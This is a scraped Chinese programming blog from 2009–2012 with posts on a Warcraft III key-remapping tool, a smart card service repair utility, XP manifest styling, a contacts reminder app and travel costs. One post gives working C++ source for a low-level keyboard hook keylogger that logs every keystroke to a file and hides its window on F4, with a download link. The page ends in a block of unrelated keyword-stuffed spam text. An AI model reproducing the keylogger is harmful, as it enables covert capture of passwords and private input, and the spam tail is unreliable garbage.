• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            Pencil.C++

            更新速度可能會(huì)晚于http://blog.csdn.net/bilaopao

              C++博客 :: 首頁(yè) :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理 ::
              34 隨筆 :: 0 文章 :: 40 評(píng)論 :: 0 Trackbacks

            置頂隨筆 #

            2月 完成對(duì)mfe rootkit專(zhuān)殺工具的完整逆向。
            3月 完成對(duì)snort的分析,寫(xiě)出分析成果。
            posted @ 2012-02-16 15:01 Pencil.C++| 編輯 收藏

            2012年2月16日 #

            2月 完成對(duì)mfe rootkit專(zhuān)殺工具的完整逆向。
            3月 完成對(duì)snort的分析,寫(xiě)出分析成果。
            posted @ 2012-02-16 15:01 Pencil.C++| 編輯 收藏

            2010年1月28日 #

                最近在研究反監(jiān)聽(tīng)密碼框的開(kāi)發(fā)。  做這個(gè)東西是為了測(cè)試密碼框的效果。 用的是WH_KEYBOARD_LL鉤子。 我暫時(shí)還沒(méi)找到防止底層鍵盤(pán)全局鉤子的方法。QQ的密碼可以用這種方法監(jiān)聽(tīng)到,但是不是明文。不知道它是怎么做到的。
                我也給這個(gè)工具做了個(gè)隱藏鍵 F4  。
                開(kāi)發(fā)工具是VS2008  
                 


            鉤子回調(diào)函數(shù)中的代碼:

             1LRESULT CALLBACK LowLevelKeyboardProc(int nCode,
             2                                      WPARAM wParam,
             3                                      LPARAM lParam
             4                                      )
             5{
             6    PKBDLLHOOKSTRUCT kbhs=(PKBDLLHOOKSTRUCT)lParam;
             7    if (nCode<0)
             8    {
             9        return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
            10    }

            11    if (HC_ACTION==nCode)
            12    {
            13        if (WM_KEYDOWN==wParam || WM_SYSKEYDOWN==lParam)
            14        {
            15            if (VK_F4==kbhs->vkCode)
            16            {
            17                //先判斷窗口是show or hide
            18                m_hWnd2=FindWindow(NULL,L"KeyboardLoger Prees [F4] to hide or show me.");
            19                if (IsWindowVisible(m_hWnd2))
            20                {
            21                    ShowWindow(m_hWnd2,SW_HIDE);
            22                    return 0;
            23                }

            24                else
            25                {
            26                    if (NULL==m_hWnd2)
            27                    {
            28                        AfxMessageBox(L"查找失敗!");
            29                        return 0;
            30                    }

            31                    ShowWindow(m_hWnd2,SW_RESTORE);
            32                    //UpdateWindow(m_hWnd);
            33                    BringWindowToTop(m_hWnd);
            34                    SetForegroundWindow(m_hWnd);
            35                    return 1;
            36                }

            37            }

            38
            39                char c[1]; 
            40
            41                c[0]=kbhs->vkCode; 
            42
            43                SaveLog(c); 
            44        }

            45    }

            46    return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
            47}



            字符保存的代碼:

             1void SaveLog(char* c)
             2{
             3    //AfxMessageBox(L"進(jìn)入存儲(chǔ)程序");
             4    CTime tm=CTime::GetCurrentTime(); 
             5
             6    CString name; 
             7    TCHAR* szPath[MAX_PATH];
             8    ::GetModuleFileName(GetModuleHandle(L"LogerDll"),(LPTSTR)szPath,MAX_PATH);
             9    CString path=(LPTSTR)szPath;
            10    path.Replace(L"\\LogerDll.dll",L"");
            11    name.Format(L"\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); 
            12    path+=name;
            13    
            14    
            15
            16    CFile file; 
            17
            18    if(!file.Open(path,CFile::modeReadWrite)) 
            19
            20    
            21
            22        file.Open(path,CFile::modeCreate|CFile::modeReadWrite); 
            23
            24    }
             
            25
            26    file.SeekToEnd(); 
            27
            28    file.Write(c,1); 
            29
            30    file.Close(); 
            31
            32
            33}




            下載地址:http://m.shnenglu.com/Files/pencil/KeyboardLoger.rar
               

            posted @ 2010-01-28 08:43 Pencil.C++ 閱讀(3607) | 評(píng)論 (9)編輯 收藏

            2010年1月15日 #

            辦理港澳通行證。200塊。

            機(jī)票一般1000/人。 來(lái)回2人4千塊。

            住宿  淘寶家庭旅館 50-100一晚。


            posted @ 2010-01-15 13:06 Pencil.C++ 閱讀(211) | 評(píng)論 (0)編輯 收藏

            2009年12月14日 #

                 摘要: 更新內(nèi)容:

            (1)使用全局WH_KEYBOARD_LL 無(wú)需使用dll文件。

            (2)智能判斷聊天模式,如果正在聊天,則取消改鍵。

            (3)改鍵功能只針對(duì)war3,不影響其他程序。

            (4)支持托盤(pán)。

            (5)支持1.24版  閱讀全文
            posted @ 2009-12-14 12:35 Pencil.C++ 閱讀(4098) | 評(píng)論 (5)編輯 收藏

            2009年12月7日 #

            程序有英語(yǔ) 簡(jiǎn)體中文 兩種語(yǔ)言,根據(jù)操作系統(tǒng)環(huán)境來(lái)選擇language.
                  代碼下載:http://bilaopao.download.csdn.net/
                  開(kāi)發(fā)工具:VS 2008

             修復(fù)過(guò)程分【普通修復(fù)】和【強(qiáng)力修復(fù)】。
               XP和VISTA/WIN7下的修復(fù)操作還是有很多區(qū)別的。但基于的原理是一樣的。 并且因?yàn)閂ista/Win7下的Smart Card 服務(wù)的scardsvr.exe可執(zhí)行文件被更改為scardsvr.dll,也就沒(méi)有了scardsvr的相關(guān)安裝命令。我用dependency查看了下scardsvr.dll,只能看到一個(gè)入口函數(shù)。能力有限,google了一些資料也沒(méi)有結(jié)果。就沒(méi)分析下去了。

               【普通修復(fù)】的修復(fù)過(guò)程(以XP下的修復(fù)過(guò)程講述,vista/win7下操作請(qǐng)看代碼):
            (1)檢查"智能卡服務(wù)"是否為自啟動(dòng)。并設(shè)置其為自啟動(dòng)。
            (2)檢測(cè)服務(wù)當(dāng)前狀態(tài)是否為SERVICE_RUNNING,并設(shè)置其狀態(tài)為運(yùn)行中。
            (3)檢測(cè)前兩步是否成功,如果成功則向用戶(hù)彈出messagebox詢(xún)問(wèn)moveable device功能是否正常。
            (4)如果功能仍abnormal,則初步判斷是服務(wù)登陸賬戶(hù)為非"NT AUTHORITY\LocalService" ,則用CreateProcess來(lái)運(yùn)行 sc.exe config SCardSvr obj= \"NT AUTHORITY\LocalService" password= ""    ,改變其用戶(hù)為localservice(smart card service只有在此登陸賬戶(hù)下才正常運(yùn)行)。

            (5)如果在普通修復(fù)過(guò)程中遇到服務(wù)查詢(xún)不到等error時(shí),程序自動(dòng)啟動(dòng)強(qiáng)力修復(fù)來(lái)安裝smart card service.

            注意:普通修復(fù)中的第3,4步中有點(diǎn)問(wèn)題,在這個(gè)地方其實(shí)最好是直接檢查服務(wù)的登陸賬戶(hù)。然后做出相應(yīng)的動(dòng)作,但是我這個(gè)地方?jīng)]有想到實(shí)現(xiàn)的辦法。望前輩提示。另外就是sc的命令格式有嚴(yán)格的限制,編碼的時(shí)候要注意等號(hào)后面首先是空格。我當(dāng)時(shí)被這個(gè)空格困擾到了。

                【強(qiáng)力修復(fù)】的修復(fù)過(guò)程(XP下的修復(fù),vista/win7 下沒(méi)有強(qiáng)力修復(fù))
            其實(shí)強(qiáng)力修復(fù)的過(guò)程就是網(wǎng)上流傳的那個(gè)修復(fù)過(guò)程,我只不過(guò)在這個(gè)修復(fù)過(guò)程中增加了驗(yàn)證和配置修改。
            修復(fù)過(guò)程:
            (1)ScardSvr.exe reinstall
            (2)regsvr32.exe SCardssp.dll
            (3)sc.exe config SCardSvr obj= \"NT AUTHORITY\LocalService" password= ""
            (4)通過(guò)以上三步之后,剩下的配置修改就跟普通修復(fù)過(guò)程一樣了。而以上三步通過(guò)CreateProcess和WaitForSingleObject來(lái)配合控制。

            應(yīng)該差不多了。代碼是半個(gè)月前寫(xiě)的,一些地方可能有疏漏。
            在代碼實(shí)現(xiàn)中還有很多地方需要注意,我也都在代碼中做出了注釋。可自行查看。

            如需交流,可mailto:pencil@yeah.net  MSN:pencil@yeah.net

             

            posted @ 2009-12-07 20:40 Pencil.C++ 閱讀(1735) | 評(píng)論 (0)編輯 收藏

            2009年11月19日 #

            今天看改鍵助手的界面太難看,就想換成xp默認(rèn)風(fēng)格,方法如下。

            manifest文件內(nèi)容,將這個(gè)manifest文件命名為Exe名+.manifest, 如test.exe.manifest

             1<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
             2<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
             3<assemblyIdentity
             4name="XP style manifest"
             5processorArchitecture="x86"
             6version="1.0.0.0"
             7type="win32"/>
             8<dependency>
             9<dependentAssembly>
            10    <assemblyIdentity
            11      type="win32"
            12      name="Microsoft.Windows.Common-Controls"
            13      version="6.0.0.0"
            14      processorArchitecture="x86"
            15      publicKeyToken="6595b64144ccf1df"
            16      language="*"
            17    />
            18</dependentAssembly>
            19</dependency>
            20</assembly>

            然后用mt.exe綁定 (mt.exe是VS自帶的一個(gè)工具。可以搜索下。)

            Mt.exe –mainfest test.exe.manifest –outputresource:test.exe;1

            1是這個(gè)manifest資源的ID.可以有多個(gè)manifest資源,但是vista默認(rèn)使用1。其他的要自己編碼來(lái)玩。
            posted @ 2009-11-19 10:16 Pencil.C++ 閱讀(468) | 評(píng)論 (0)編輯 收藏

            2009年11月6日 #

            大概的功能就是日期提醒,把通訊錄和日期提醒相結(jié)合。

            提醒方面做的很差,技術(shù)有限。

            皮膚用的是Skin++

            第一次發(fā),但之前修改過(guò)幾次,目前版本0.7

            做這個(gè)東西完全是因?yàn)槲覀€(gè)人需要。

            是一個(gè)多用戶(hù)的工具。

            有自動(dòng)升級(jí)功能。

            應(yīng)用范圍很窄。

            下載地址:http://m.shnenglu.com/Files/pencil/GoodFriendV0.7.rar

            源代碼下載:http://m.shnenglu.com/Files/pencil/GoodFriend0.7.src.rar

            posted @ 2009-11-06 13:17 Pencil.C++ 閱讀(372) | 評(píng)論 (0)編輯 收藏

            2009年9月27日 #

                 摘要:   閱讀全文
            posted @ 2009-09-27 20:17 Pencil.C++ 閱讀(1275) | 評(píng)論 (0)編輯 收藏

                 摘要:   閱讀全文
            posted @ 2009-09-27 20:14 Pencil.C++ 閱讀(5723) | 評(píng)論 (0)編輯 收藏

            界面和功能我之前幾個(gè)帖子發(fā)過(guò),就不重復(fù)了,感興趣的拿去,有一些問(wèn)題沒(méi)有解決,交流下。

            http://m.shnenglu.com/Files/pencil/zhen3Helper.src.rar

            posted @ 2009-09-27 01:17 Pencil.C++ 閱讀(2838) | 評(píng)論 (7)編輯 收藏

            僅列出標(biāo)題  下一頁(yè)
            久久精品国产亚洲AV无码麻豆| 久久综合给久久狠狠97色| 伊人久久综合热线大杳蕉下载| 久久人人爽人人爽人人AV| 婷婷久久综合九色综合98| 人妻少妇精品久久| 亚洲色大成网站WWW久久九九| 久久精品国产亚洲av影院| 狠狠色综合网站久久久久久久| 97精品伊人久久大香线蕉| 久久99亚洲网美利坚合众国| 国产99久久久国产精免费| 亚洲国产日韩综合久久精品| 国内精品久久久久影院免费| 久久青青草视频| 国产成人久久久精品二区三区 | 亚洲一本综合久久| 久久WWW免费人成一看片| 99久久婷婷国产一区二区| 色婷婷综合久久久中文字幕| 久久久久一本毛久久久| 国产69精品久久久久777| 亚洲乱码日产精品a级毛片久久| 久久狠狠色狠狠色综合| 亚洲αv久久久噜噜噜噜噜| 久久亚洲中文字幕精品一区四| 99精品久久精品| 久久婷婷五月综合97色一本一本| 欧洲国产伦久久久久久久| 漂亮人妻被中出中文字幕久久| 色88久久久久高潮综合影院| 久久午夜福利电影| 久久亚洲国产午夜精品理论片| 日日噜噜夜夜狠狠久久丁香五月| 欧美精品福利视频一区二区三区久久久精品| 久久婷婷成人综合色综合| 久久精品国产亚洲av麻豆蜜芽 | 国产一区二区三区久久| 国产国产成人精品久久| 99久久精品国产麻豆| 色欲久久久天天天综合网精品|